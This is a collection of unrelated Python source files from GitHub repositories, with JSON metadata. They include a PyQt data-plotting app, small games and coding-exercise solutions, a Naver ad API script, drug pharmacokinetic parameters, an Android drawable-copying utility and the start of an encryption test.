max(min(gradient1_sorted),max(gradient1_sorted))+0.5, len(gradient1_sorted)+1)\n self.canvas2.set_axes(-max(min(gradient2_sorted),max(gradient2_sorted))-0.5, max(min(gradient2_sorted),max(gradient2_sorted))+0.5, len(gradient2_sorted)+1)\n\n self.ui.label_userinfo.setText(\"Plot updated to show \" + self.toplot + \". Click a curve to display label, right click to hide label.\")\n \n\n def extractcolor(self, list, timestamp):\n return [item[1] for item in list if item[0] == timestamp]\n\n def uppercyclechanged(self):\n if self.ui.spinBox_cycleEnd.value() < self.ui.spinBox_cycle.value():\n self.ui.spinBox_cycle.setValue(self.ui.spinBox_cycleEnd.value())\n self.whatcyclesir()\n\n def whatcyclesir(self):\n if self.ui.spinBox_cycle.value() > self.ui.spinBox_cycleEnd.value():\n self.ui.spinBox_cycleEnd.setValue(self.ui.spinBox_cycle.value())\n self.cycle = self.ui.spinBox_cycle.value()\n self.cycleEnd = self.ui.spinBox_cycleEnd.value()\n self.checktheboxes()\n if self.checkthedata():\n datacursor.execute(self.checkthedata())\n else:\n datacursor.execute(\"SELECT timestamp FROM database WHERE project = ?\", (self.ui.comboBox_project.currentText(),))\n self.tempdata = datacursor.fetchall()\n self.set_detailWindow(self.tempdata)\n #self.splitData(self.tempdata)\n\n\n\n def findbytimestamp(self, timestamp):\n datacursor_tuple.execute(\"SELECT design, sample, material, print, orientation, apara, bpara, fpara, gpara, direction, speed, cycles, steps FROM database WHERE timestamp = ?\", (timestamp,))\n x = datacursor_tuple.fetchall()\n # remove None values from the list\n x = [[i for i in sublist if i is not None] for sublist in x]\n # remove given characters from the list\n notinteresting = [\"A0\", \"B0\", \"F0\", \"G0\"]\n x = [[i for i in sublist if i not in notinteresting] for sublist in x]\n x = [\"_\".join(str(i) for i in sublist) for sublist in x]\n string = timestamp + \"_\" + x[0]\n return string\n\n\n # this function is bad practice*, but could be used to quicken the calculations\n # *bad practice because creating new tables with variable names is not good practice\n # However, calculation times are so short that it is not needed.\n def save_table(self, timestamp, timecount, stepcount, R1, R2):\n # create a new table with the data from the selected timestamp\n # this is done by creating a new table with the same name as the timestamp\n # the data is then taken from the database, split into cycles and saved into the new table\n timestamp = str(timestamp).replace(\".\", \"_\")\n timestamp =str(timestamp).replace(\" \", \"_\")\n command = \"CREATE TABLE IF NOT EXISTS \\\"\" + timestamp + \"\\\" (timecount int PRIMARY KEY ON CONFLICT IGNORE, stepcount int, R1 real, R2 real)\"\n datacursor.execute(command)\n for i in range(len(timecount)):\n datacursor.execute(\"INSERT OR IGNORE INTO \\\"\" + timestamp + \"\\\" (timecount) VALUES (?)\", (timecount[i],))\n datacursor.execute(\"UPDATE \\\"\" + timestamp + \"\\\" SET stepcount = ? WHERE timecount = ?\", (stepcount[i], timecount[i]))\n datacursor.execute(\"UPDATE \\\"\" + timestamp + \"\\\" SET R1 = ? WHERE timecount = ?\", (R1[i], timecount[i]))\n datacursor.execute(\"UPDATE \\\"\" + timestamp + \"\\\" SET R2 = ? WHERE timecount = ?\", (R2[i], timecount[i]))\n\n\n\n # Function to add checkboxes\n def addCheckbox(self, name, parent):\n parent.setLayout(QVBoxLayout())\n checkbox = QCheckBox(name)\n self.checkboxes.append(checkbox)\n parent.layout().addWidget(checkbox)\n checkbox.stateChanged.connect(self.on_checkbox_changed)\n checkbox.setVisible(True)\n\n def selectDirectory(self):\n dupcheck = False\n # Get the directory from the user\n directory = QFileDialog.getExistingDirectory(None, \"Select Directory\")\n # Get the files from the directory\n #files = os.listdir(directory)\n for root, dirs, files in os.walk(directory):\n # Create a list to store the data\n # Loop through the files\n for i in files:\n # Check if the file is a .csv file\n if i.endswith(\".csv\"):\n for duplicate in self.data:\n if i[:-4] in duplicate:\n dupcheck = True\n # Check for duplicate files. Altough this is not needed, because the database uses unique timestamps to make dups impossible,\n # this is a good check to save on computing time\n if dupcheck == False:\n # Save the file name without .csv to the list, it is the unique timestamp of this test\n self.data.append(\"Timestamp\")\n self.data.append(i[:-4])\n # Parse the contents of the file line by line and save to a list\n with open(os.path.join(root,i), \"r\") as f:\n # Read the lines and save them in a list\n lines = f.readlines()\n # first line contains the sample parameters and the second line contains the test parameters\n # Remove the newline character from the end of these lines fisrt\n lines[0] = lines[0][:-1]\n lines[1] = lines[1][:-1]\n # Now we split the lines into a list of parameters\n self.data.append(\"Sample\")\n self.data.append(lines[0].split('_'))\n self.data.append(\"Test\")\n self.data.append(lines[1].split(','))\n # Line 2 is the header for the raw data, so we skip it and add the rest of the lines to the list\n self.rawdata.append(\"\".join(lines[7:])) \n # Now we add the parsed data into the database according to the parameters in the file\n self.onclick_upload()\n # Remove the keywords used in the onclick_upload function so we do not try to upload the same data again\n self.data.remove(\"Timestamp\")\n self.data.remove(\"Sample\")\n self.data.remove(\"Test\")\n else:\n # If the file is a duplicate, skip it\n self.ui.label_userinfo.setText(\"Duplicate file found: \"+i + \" skipped\")\n dupcheck = False\n continue \n\n# this class uses pyqtgraph to plot the data, it is not used anymore, but it is kept here for reference\n#class ScatterPlot(pg.PlotWidget):\n# def __init__(self, xtext, xunit, ytext, yunit, **kargs):\n# super().__init__(**kargs)\n# self.setBackground('w')\n# self.setLabel(axis='bottom', text=xtext, units=xunit)\n# self.setLabel(axis='left', text=ytext, units=yunit)\n# self.showGrid(x=True, y=True, alpha=0.5)\n\n# def refresh(self, xtext, xunit, ytext, yunit):\n# self.clear()\n# self.setLabel(axis='bottom', text=xtext + \" \" + xunit)\n# self.setLabel(axis='left', text=ytext + \" \" + yunit)\n\n# def plotnew(self, x, y, coding, color, size):\n# self.addItem(pg.ScatterPlotItem(x, y, symbol='o', size=size, data=coding, hoverable=True, brush=QBrush(QColor(*color))))\n\n# def plotline(self, x, y, coding, color):\n# self.addItem(pg.ScatterPlotItem(x, y, symbol='o', size=5, data=coding, hoverable=True, brush=QBrush(QColor(*color))))\n# self.addItem(pg.PlotCurveItem(x, y, pen=pg.mkPen(color=color, width=2)))\n\n# this class is used to plot the data using matplotlib.\nclass MplCanvas(FigureCanvas):\n def __init__(self, parent=None, width=5, height=4, dpi=100):\n fig = Figure(figsize=(width, height), dpi=dpi)\n self.axes = fig.add_subplot(1, 1, 1)\n #self.axes2 = fig.add_subplot(2, 1, 2)\n super(MplCanvas, self).__init__(fig)\n #Cursur for highlighting enabled\n mplcursors.cursor()\n\n\n def plot_box(self, all_data, ax, vert=True, color=False, labels=[\"x1\"]):\n ax.cla() #clear self\n defaultlabels = []\n for i in range(len(all_data)):\n defaultlabels.append(str(i+1))\n ax.boxplot(all_data,\n vert=vert, # vertical box alignment\n patch_artist=color, # fill with color\n labels=defaultlabels) # will be used to label x-ticks\n #combine both lists to say which label is which\n legendlabels = []\n for i in range(len(defaultlabels)):\n legendlabels.append(defaultlabels[i] + \": \" + labels[i]) \n ax.legend(legendlabels, facecolor = 'lightgray', loc=1, fontsize=7)\n # Trigger the canvas to update and redraw.\n self.draw()\n \n def clear(self):\n #clear the plottet items\n self.axes.cla()\n # Trigger the canvas to update and redraw.\n self.draw()\n\n def update_axes(self, titletext, xtext, ytext):\n self.axes.set_title(titletext)\n self.axes.set_xlabel(xtext)\n self.axes.set_ylabel(ytext)\n self.axes.xaxis.set_label_coords(-0.01, -0.04)\n self.draw()\n\n\n def plot_dot(self, x, y, color, size, label):\n scatter = self.axes.scatter(x, y, c=color, s=size, label=label)\n scatter.set_label(label)\n mplcursors.cursor(scatter)\n self.axes.legend(facecolor = 'lightgray', loc=0, fontsize=7)\n #remove the legend if more than x items are plotted\n x = 8\n if len(self.axes.get_legend_handles_labels()[1]) > x:\n self.axes.legend().remove()\n # Trigger the canvas to update and redraw.\n self.draw()\n #scatter = self.axes.scatter(x, y, c=color, s=size, label=label)\n #tooltip = mpld3.plugins.PointLabelTooltip(scatter, labels=label)\n #mpld3.plugins.connect(self.fig, tooltip)\n\n def set_axes(self, ymin, ymax, xmax):\n self.axes.set_ylim(ymin, ymax)\n self.axes.hlines(y=0, xmin=0, xmax=xmax, linewidth=1, color='b', linestyles='dashed')\n self.draw()\n\n\n def plot_line(self, x, y, color, label):\n line, = self.axes.plot(x, y, color=color, label=label)\n line.set_label(label)\n mplcursors.cursor(line)\n self.axes.legend(facecolor = 'lightgray', loc=0, fontsize=7)\n #remove the legend if more than x items are plotted\n x = 8\n if len(self.axes.get_legend_handles_labels()[1]) > x:\n self.axes.legend().remove()\n self.draw()\n\nclass DetailWindow(QMainWindow):\n def __init__(self, parent=None):\n super().__init__(parent)\n self.ui = Ui_DetWindow()\n self.ui.setupUi(self)\n self.checkboxes = []\n self.checked_cb = []\n self.unchecked_cb = []\n self.parent_to_boxes = self.ui.scrollAreaWidgetContents\n \n def renew_checkboxes(self, timestamps):\n check = False\n for box in self.parent_to_boxes.findChildren(QCheckBox): \n if box.text() not in timestamps:\n self.checkboxes.remove(box)\n box.deleteLater()\n for i in range(len(timestamps)):\n for box in self.parent_to_boxes.findChildren(QCheckBox):\n if box.text() == timestamps[i]:\n check = True\n if check == False: \n self.addCheckbox(timestamps[i])\n else:\n check = False\n self.checktheboxes()\n\n def addCheckbox(self, name):\n self.parent_to_boxes.setLayout(QVBoxLayout())\n checkbox = QCheckBox(name)\n self.checkboxes.append(checkbox)\n self.parent_to_boxes.layout().addWidget(checkbox)\n checkbox.stateChanged.connect(self.on_checkbox_changed)\n checkbox.setChecked(True)\n checkbox.setVisible(True)\n\n def checktheboxes(self):\n # first the filters are reset\n self.checked_cb = []\n self.unchecked_cb = []\n # If any are checked, they are added to the corresponding list by their displayed names\n for i in self.parent_to_boxes.findChildren(QCheckBox):\n #if i is checked\n if i.isChecked():\n self.checked_cb.append(i.text()[0:20])\n\n #if i is not checked\n else:\n self.unchecked_cb.append(i.text())\n\n def on_checkbox_changed(self):\n self.checktheboxes()\n #print (self.unchecked_cb)\n\n def get_timestamps(self):\n return self.checked_cb\n \n def testfunction(self):\n print(\"test\")\n\nclass Cache:\n def __init__(self):\n self.data = []\n\n def clear(self):\n self.data = []\n\n def append(self, new_data):\n self.data.append(new_data)\n\n def save(self, path):\n with open(path, 'w', newline='', encoding='utf-8') as f:\n writer = csv.writer(f, delimiter=',')\n writer.writerows(self.data)\n\n \n\n# This function is called when the user starts the program. It creates the main window and starts the program\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n widget = MainWindow()\n widget.show()\n sys.exit(app.exec())","repo_name":"Phil0795/Filter","sub_path":"mainwindow.py","file_name":"mainwindow.py","file_ext":"py","file_size_in_byte":117150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8114112535","text":"from tile import TileType, Tile\nfrom game import MijnlieffGame\n\n\ngame = MijnlieffGame()\n\nwhile not game.is_over():\n game.print_board()\n player = game.next_player()\n\n print(player.name() + \" tiles: \" + player.list_tiles())\n\n tile = TileType.NONE\n while not Tile.is_valid_type(tile):\n symbol = input(player.name() + \" select tile type: \")\n tile = Tile.tile_from_symbol(symbol)\n\n if tile == TileType.NONE:\n print(\"Invalid tile type\")\n elif not player.has_tile(tile):\n print(\"Player has no more tiles of that type remaining\")\n tile = TileType.NONE\n\n move_ok = False\n while not move_ok:\n move = input(player.name() + \" select location for '\" + Tile.tile_symbol(tile) + \"': \")\n try:\n x, y = [int(i) for i in move.split(\" \")]\n except ValueError:\n print(\"Invalid location\")\n continue\n\n move_ok = game.place_piece(x, y, player, tile)\n\n\n\n\n\n","repo_name":"court-jus/Mijnlieff","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10285808626","text":"# BOJ 10816 숫자카드 2\nimport sys\n\ninput = sys.stdin.readline\nn = int(input())\ncards = sorted([*map(int, input().split())])\nm = int(input())\nkeys = [*map(int, input().split())]\n\n\ndef check(key, start, end):\n if end-start<1:\n return int(bool(key == cards[start]))\n mid = (start + end) // 2\n if key != cards[mid]:\n if key < cards[mid]:\n end = max(mid - 1, start)\n else:\n start = min(mid + 1, end)\n return check(key, start, end)\n else:\n key_start = start\n key_end = end\n while cards[key_start] != key and key_start < mid:\n key_start += 1\n while cards[key_end] != key and key_end > mid:\n key_end -= 1\n return key_end - key_start + 1\n\n\nres = \"\"\nfor key in keys:\n res += str(check(key, 0, len(cards)-1)) + \" \"\nprint(res.strip())\n","repo_name":"Qud4300/Baekjoon_Online_Judge","sub_path":"10816 숫자 카드 2/numberCard2_binarySearch.py","file_name":"numberCard2_binarySearch.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22078104135","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n# x값 설정\nx = np.array(range(-10, 11))\nprint(\"x: \", x)\n\n# 축 이름 설정\nplt.xlabel('x axis')\nplt.ylabel('y axis')\n\n# 그리드 추가\nplt.grid(color=\"gray\", alpha=.5, linestyle='--')\n\n# 방정식 추가하기\nplt.plot(x, 30*x+10, label='y = 30*x + 10')\nplt.plot(x, 10*x+8, label='y = 10*x + 8')\nplt.plot(x, -10*x+8, label='y = -10*x + 8')\n\n# 범례 작성\nplt.legend()\nplt.show()\n","repo_name":"koreanbulbasaur/Project","sub_path":"semi_project/Design/ex/graph_view.py","file_name":"graph_view.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"75241528223","text":"__author__ = 'Lim Kok Hole'\n__copyright__ = 'Copyright 2020'\n__license__ = 'MIT'\n__version__ = 1.0\n__maintainer__ = 'Lim Kok Hole'\n__email__ = 'limkokhole@gmail.com'\n__status__ = 'Production'\n\nimport sys, os\nimport traceback\nimport pathlib\nfrom shutil import copy\n\ndef quit(msgs, exit=True):\n if not isinstance(msgs, list):\n msgs = [msgs]\n for msg in msgs:\n if msg == '\\n': # Empty line without bg color\n print('\\n')\n else:\n print(msg)\n if exit:\n print('Abort.')\n sys.exit()\n\nimport argparse\nfrom argparse import RawTextHelpFormatter #make --help's \\n works and indentation pretty\narg_parser = argparse.ArgumentParser(\n # don't specify prefix_chars='-+/' here which causes / in path is not option value\n description='Copy relevant drawable obtained from designer to android studio project', formatter_class=RawTextHelpFormatter)\nargs = \"\"\n\n# This still not prefect, not handle if all images same name(sound crazy but it happen now) still need manually edit the name first.\n# E.g(Already cd to icons folder of designer): \n#... python3 drawable_cp.py -pd ~/AndroidStudioProjects/hello-world\n# Note: Only mdpi, hdpi, xhdpi, xxhdpi, xxxhdpi supported, you should modify the drawable_valid_path_l_proj and drawable_valid_path_l_designer if has different/more dpi for your case.\narg_parser.add_argument('--debug', action='store_true', help='Print copy log without perform copy')\narg_parser.add_argument('--prefix-designer', dest='prefix_designer', default='', help='Prefix of designer icons\\'s parent folder name as ???dpi, e.g. pika-xhdpi/ means you should set prefix_designer with pika-')\narg_parser.add_argument('-d', '--dir', default='.', help='Dir path to scan. Default is current directory.')\narg_parser.add_argument('-pd', '--project-dir', dest='project_dir', required=True\n , help='Copy to drawable folders of this project root path')\nargs, remaining = arg_parser.parse_known_args()\n\nif remaining:\n quit('Redundant argument exist.')\n\n#print(args.debug)\n\nOS_SEP = os.sep\n\nmax_depth = None\n\nproject_base = ''\ndir_path = args.dir\n\nlp_ei = 0\nd_path_len = len(dir_path)\n\nproj_dir_path = args.project_dir\n\n# [1] abspath already act as normpath to remove trailing os.sep\n# [2] expanduser expands ~\n# [3] expandvars expands $HOME\n\ndir_path = os.path.abspath(os.path.expanduser(os.path.expandvars(dir_path)))\nif not os.path.exists(dir_path):\n quit('Directory ' + dir_path + ' does not exist.')\nelif not os.path.isdir(dir_path):\n quit(dir_path + ' is not a directory.')\n\nproj_dir_path = os.path.abspath(os.path.expanduser(os.path.expandvars(args.project_dir)))\nif not os.path.exists(proj_dir_path):\n quit('Directory ' + proj_dir_path + ' does not exist.')\nelif not os.path.isdir(proj_dir_path):\n quit(proj_dir_path + ' is not a directory.')\n\n\nproj_max_depth = 2 #only nid scan project root//src, so only nid 2 depth\nproj_d_path_len = len(proj_dir_path)\n#print(proj_dir_path)\n#print(proj_d_path_len)\n\n# Designer folder name prefix of dpi name:\nprefix_designer = args.prefix_designer\n\n# This one shouldn't change bcoz it's project real folder name\nprefix_proj = 'drawable-'\n\ndrawable_valid_path_l_proj = ( prefix_proj + 'mdpi', prefix_proj + 'hdpi', prefix_proj + 'xhdpi', prefix_proj + 'xxhdpi', prefix_proj + 'xxxhdpi')\ndrawable_valid_path_l_designer = ( prefix_designer + 'mdpi', prefix_designer + 'hdpi', prefix_designer + 'xhdpi', prefix_designer + 'xxhdpi', prefix_designer + 'xxxhdpi')\ndrawable_designer_project_map = dict(zip ( drawable_valid_path_l_designer, drawable_valid_path_l_proj ))\ndrawable_path_d = {}\nproj_dir = None\n\n# Test: python3 drawable_cp.py -pd ~/AndroidStudioProjects/hello-world\nfor lp_subdir, lp_dirs, lp_files in os.walk(proj_dir_path, topdown=True):\n if (proj_max_depth is None) or ( lp_subdir[proj_d_path_len:].count(OS_SEP) < proj_max_depth ):\n #print('real: ' + repr(lp_dirs))\n if 'src' in lp_dirs:\n for llp_subdir, llp_dirs, llp_files in os.walk(os.path.join(lp_subdir, 'src/main/res/'), topdown=True):\n parent_name = pathlib.PurePath(llp_subdir)\n if parent_name.name.endswith('res'):\n proj_dir = llp_subdir\n print('proj_dir: ' + proj_dir, '\\n')\n for l3_dpi in drawable_valid_path_l_proj:\n drawable_path_d[l3_dpi] = os.path.join(proj_dir, l3_dpi)\n #print('drawable_path_d: ' + repr(drawable_path_d))\n break\n #else:\n # print('else lp:' + repr(lp_subdir))\n\n else:\n lp_dirs[:] = [] # Don't recurse any deeper for this specific dir\n #print('wrong: ' + repr(lp_dirs))\n\nif not proj_dir:\n quit('Not able to found drawable-???dpi folder in project path of project_dir argument.')\n\n\n# Default already followlinks=False for directory in os.walk() arg\nfor lp_subdir, lp_dirs, lp_files in os.walk(dir_path, topdown=True): #[toprove:0] will topdown slower ?\n\n # No check max depth here bcoz it's scanning designer folders\n for llp_f in lp_files:\n\n lp_path = OS_SEP.join([lp_subdir, llp_f])\n lp_dir_name = pathlib.PurePath(lp_path).parent.name\n #print('lp_dir_name: ' + lp_dir_name)\n try:\n if lp_path.endswith('.py'):\n print('Skip python file: ' + lp_path, '\\n')\n continue\n lp_ei+=1\n\n if prefix_designer and (prefix_designer in lp_dir_name):\n lp_dpi = lp_dir_name.split(prefix_designer)[1].strip()\n else:\n lp_dpi = lp_dir_name.strip()\n\n #print('Trying... [' + str(lp_ei) + '] ' + lp_path + ' [' + lp_dpi + ']')\n if lp_dir_name in drawable_valid_path_l_designer:\n #print(lp_dir_name)\n print('From ' + lp_path)\n print('To: ' + drawable_path_d[ drawable_designer_project_map[ lp_dir_name ] ], '\\n')\n if not args.debug:\n copy(lp_path, drawable_path_d[ drawable_designer_project_map[ lp_dir_name ] ])\n\n except IndexError as ierr:\n #print(traceback.format_exc())\n print('l_path failed: ' + lp_path)\n \n","repo_name":"limkokhole/drawable-cp","sub_path":"drawable_cp.py","file_name":"drawable_cp.py","file_ext":"py","file_size_in_byte":6216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24388125648","text":"def updateHight(towers:list,hight:int,hightBegin:int,hightEnd:int)->tuple:\n towers[hight][0] -=1\n if(hight==hightBegin):\n hight=hightEnd\n if(towers[hightBegin][0]==towers[hightBegin-1][0]):\n hightBegin -=1\n else:\n hight -=1\n return hight,hightBegin\ndef updateLower(towers:list,lower:int,lowerBegin:int,lowerEnd:int)->tuple:\n towers[lower][0] += 1\n if(lower==lowerEnd):\n lower=lowerBegin\n if(towers[lowerEnd][0]==towers[lowerEnd+1][0]):\n lowerEnd += 1\n else:\n lower +=1\n return lower,lowerEnd\nif __name__ == '__main__':\n n,k = map(int,input().split(\" \"))\n towers = [[int(i),index] for index,i in enumerate(input().split(\" \"))]\n moves = []\n towers = sorted(towers,key=lambda x:x[0])\n lower = 0\n lowerBegin = 0\n lowerEnd = 0\n while(towers[lowerEnd][0]==towers[lowerEnd+1][0]):\n lowerEnd+=1\n hight = len(towers)-1\n hightBegin = len(towers)-1\n hightEnd = len(towers)-1\n while(towers[hightBegin][0]==towers[hightBegin-1][0]):\n hightBegin-=1\n step = 0\n for i in range(k):\n if(towers[lower][0]==towers[hight][0]):\n step = i\n break\n moves.append((towers[hight][1],towers[lower][1]))\n hight,hightBegin = updateHight(towers,hight,hightBegin,hightEnd)\n lower,lowerEnd = updateLower(towers,lower,lowerBegin,lowerEnd)\n step = i\n print(\"%d %d\"%(towers[hight][0]-towers[lower][0],step+1))\n for move in moves:\n print(\"%d %d\"%(move[0]+1,move[1]+1))\n","repo_name":"tangmingyi/netease2019","sub_path":"6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13559097557","text":"from django.urls import path, include\nfrom parent import views\n\n\nurlpatterns = [\n path(\n \"auto-complete/\",\n include(\"parent.auto_complete_urls\")\n ),\n path(\n \"edit/\",\n include(\"parent.edit_urls\")\n ),\n path('parent/', views.ParentView.as_view(), name='parent')\n]\n","repo_name":"Athul565/School_app","sub_path":"parent/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43234830454","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 21 08:31:18 2022\n\n@author: paco\n\nThis script calculate pk parameters for a Schnider propofol model\nPlasma target\nBased on StanPump software/ Gepts E, Anesthesiology 1995;83:1194\nDidn't found any covariate\n\n\"\"\"\n\n\ndef sufenta_params_calc():\n #See table 2 in article mentioned above\n vd_central= 16.6 #L\n vd_rapid_peripheral= 72 #L\n vd_slow_peripheral= 398 #L\n clearance_met= 0.90 #L min-1\n clearance_rapid_periph= 1.4\n clearance_slow_periph= 0.36\n \n #to make integration easier, I calculate elim constants\n k10= clearance_met/vd_central\n k12= clearance_rapid_periph/vd_central\n k21= clearance_rapid_periph/vd_rapid_peripheral\n k13= clearance_slow_periph/vd_central\n k31= clearance_slow_periph/vd_slow_peripheral\n ke0= 0.119\n drug_name= 'Sufentanil'\n model= 'Gepts'\n units= (r'$ng\\ ml^{-1}$', r'$\\mu g\\ Kg^{-1}\\ min^{-1}$')\n ec50= 0.23\n \n params=[drug_name,\n model,\n units,ec50,vd_central,\n vd_rapid_peripheral,\n vd_slow_peripheral,\n k10,\n k12,k21,\n k13,k31,\n ke0\n ]\n return params\n\n","repo_name":"fra-mar/tci_simulator","sub_path":"definitive/CCIP_v1.2/sufenta_gepts_params_calculator.py","file_name":"sufenta_gepts_params_calculator.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14862703743","text":"def fun1():\r\n try:\r\n l=[22,34,56,78]\r\n i = int(input(\"enter index:\"))\r\n print(l[i])\r\n return 1\r\n except:\r\n print(\"some error occured\")\r\n return 0 \r\n finally:\r\n print(\"i am always excuted\")\r\n\r\nx = fun1()\r\nprint(x)","repo_name":"georgepr0xy/python-100-days-code-challenge","sub_path":"37 finallyclasue.py","file_name":"37 finallyclasue.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"28741535477","text":"import pandas as pd\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n# read the data\ndf = pd.read_csv(\"data.csv\")\n#print(df.shape)\n#print(df.head())\n\n#make lowercase\ndf.columns = df.columns.str.lower()\n# print(df.head())\n\n# change space with underscore\ndf.columns = df.columns.str.replace(\" \", \"_\")\n# print(df.head())\n\n# normalize the values \ncategory_columns = list(df.dtypes[df.dtypes == \"object\"].index)\ndf[category_columns] = df[category_columns].apply(lambda x: x.str.lower().str.replace(\" \", \"_\"))\n# print(df.head())\n\n\n\n# Exploratory Data Analysis\n\n\"\"\"\nfor col in df.columns:\n # print(col)\n # print(df[col].head())\n print(df[col].unique()[:5])\n print(df[col].nunique())\n print()\n\"\"\"\n\n# Distribution of price\n\n# sns.histplot(df['msrp'].values, bins=50)\n# plt.show()\n\n\"\"\"\nprice_logs = df.msrp.map(np.log1p)\nprint(price_logs)\n\nsns.histplot(price_logs, bins=50)\nplt.show()\n\"\"\"\n\n# check missing values\n# print(df.isna().sum())\n\n\n\n# SET UP VALIDATION FRAMEWORK\n\nn = len(df)\n\nn_val = int(n*0.2)\nn_test = int(n*0.2)\nn_train = n - n_val - n_test\n# print(n_train, n_val, n_test)\n\n# generate list of indexes\nidx = np.arange(n)\n\n# shuffle the index \nnp.random.seed(2)\nnp.random.shuffle(idx)\n# print(idx)\n\n# now split the datset\ndf_train = df.iloc[idx[:n_train]]\ndf_test = df.iloc[idx[n_train: n_train + n_test]]\ndf_val = df.iloc[idx[n_train + n_val:]]\n# print(df_train.shape, df_val.shape, df_test.shape)\n\n\n# reset the index\ndf_train = df_train.reset_index(drop=True)\ndf_val = df_val.reset_index(drop=True)\ndf_test = df_test.reset_index(drop=True)\n\n\n# log transform the y variable: log(y+1)\ny_train = np.log1p(df_train.msrp.values)\ny_val = np.log1p(df_val.msrp.values)\ny_test = np.log1p(df_test.msrp.values)\n# print(y_train, y_test, y_val)\n\n\n# drop the msrp values\ndf_train.drop(columns=[\"msrp\"], inplace=True)\ndf_val.drop(columns=[\"msrp\"], inplace=True)\ndf_test.drop(columns=[\"msrp\"], inplace=True)\n\n\n","repo_name":"xettrisomeman/mlbootcamp","sub_path":"mlzoomcamp2/price_prediction.py","file_name":"price_prediction.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"24754761796","text":"import re\n\n\ndef decrypt():\n global message\n key = len(re.findall(r'[star]', message, re.I))\n message = ''.join([chr(ord(s) - key) for s in message])\n\n\ndef message_info():\n global message, planets\n match = re.search(r'@(?P[A-Za-z]+).*:(?P\\d+).*(?P[AD])!.*->(?P\\d+)', message)\n if match:\n if match.group('type') == 'A':\n attacked_planets.append(match.group('planet'))\n else:\n destroyed_planets.append(match.group('planet'))\n\n\nmessages_count = int(input())\nplanets = {}\nattacked_planets = []\ndestroyed_planets = []\n\nfor _ in range(messages_count):\n message = input()\n decrypt()\n message_info()\n\nprint(f'Attacked planets: {len(attacked_planets)}')\nif attacked_planets:\n [print(f'-> {name}') for name in sorted(attacked_planets)]\nprint(f'Destroyed planets: {len(destroyed_planets)}')\nif destroyed_planets:\n [print(f'-> {name}') for name in sorted(destroyed_planets)]\n","repo_name":"kostakazakoff/SoftUni","sub_path":"Python Fundamentals/regular_expressions_more_exercises/star_enigma_unfinished.py","file_name":"star_enigma_unfinished.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"22078155245","text":"import base64\nimport time\nimport hmac\nimport requests\nimport pandas as pd\nimport hashlib\n\nkeyword = '갤럭시워치4베젤링' #키워드검색\n\nBASE_URL = 'https://api.naver.com'\nAPI_KEY = ''\nSECRET_KEY = ''\nCUSTOMER_ID = ''\ndef generate(timestamp, method, uri, secret_key):\n message = \"{}.{}.{}\".format(timestamp, method, uri)\n #hash = hmac.new(bytes(secret_key, \"utf-8\"), bytes(message, \"utf-8\"), hashlib.sha256)\n hash = hmac.new(secret_key.encode(\"utf-8\"), message.encode(\"utf-8\"), hashlib.sha256)\n hash.hexdigest()\n return base64.b64encode(hash.digest())\ndef get_header(method, uri, api_key, secret_key, customer_id):\n timestamp = str(int(time.time() * 1000))\n signature = generate(timestamp, method, uri, SECRET_KEY)\n return {'Content-Type': 'application/json; charset=UTF-8', 'X-Timestamp': timestamp, 'X-API-KEY': API_KEY, 'X-Customer': str(CUSTOMER_ID), 'X-Signature': signature}\n\ndic_return_kwd = {}\nnaver_ad_url = '/keywordstool'\n#_kwds_string = '원피스' #1개일경우\n#_kwds_string = ['나이키', '원피스', '운동화'] #키워드 여러개일경우\nmethod = 'GET'\nprm = {'hintKeywords' : keyword , 'showDetail':1}\n# ManageCustomerLink Usage Sample\nr = requests.get(BASE_URL + naver_ad_url, params=prm, headers=get_header(method, naver_ad_url, API_KEY, SECRET_KEY, CUSTOMER_ID))\n\nr_data = r.json()\nnaver_ad_summary = pd.DataFrame(r_data['keywordList']) \n\nnaver_ad_summary[:1] #[:1]","repo_name":"koreanbulbasaur/Project","sub_path":"test/naver_test.py","file_name":"naver_test.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"15737507978","text":"from fedstellar.communication_protocol import CommunicationProtocol\nfrom fedstellar.encrypter import AESCipher\nfrom fedstellar.encrypter import RSACipher\nfrom fedstellar.learning.pytorch.lightninglearner import LightningLearner\nfrom fedstellar.learning.pytorch.mnist.models.mlp import MLP\nfrom test.utils import set_test_settings\n\nset_test_settings()\n\n\n#############################\n# RSA Encryption Test #\n#############################\n\n\ndef test_rsa_encryption_decription1():\n rsa = RSACipher()\n rsa.load_pair_public_key(rsa.get_key())\n message = \"Hello World!\".encode(\"utf-8\")\n encrypted_message = rsa.encrypt(message)\n decrypted_message = rsa.decrypt(encrypted_message)\n assert message == decrypted_message\n\n\ndef test_rsa_encryption_decription2():\n cipher1 = RSACipher()\n cipher2 = RSACipher()\n 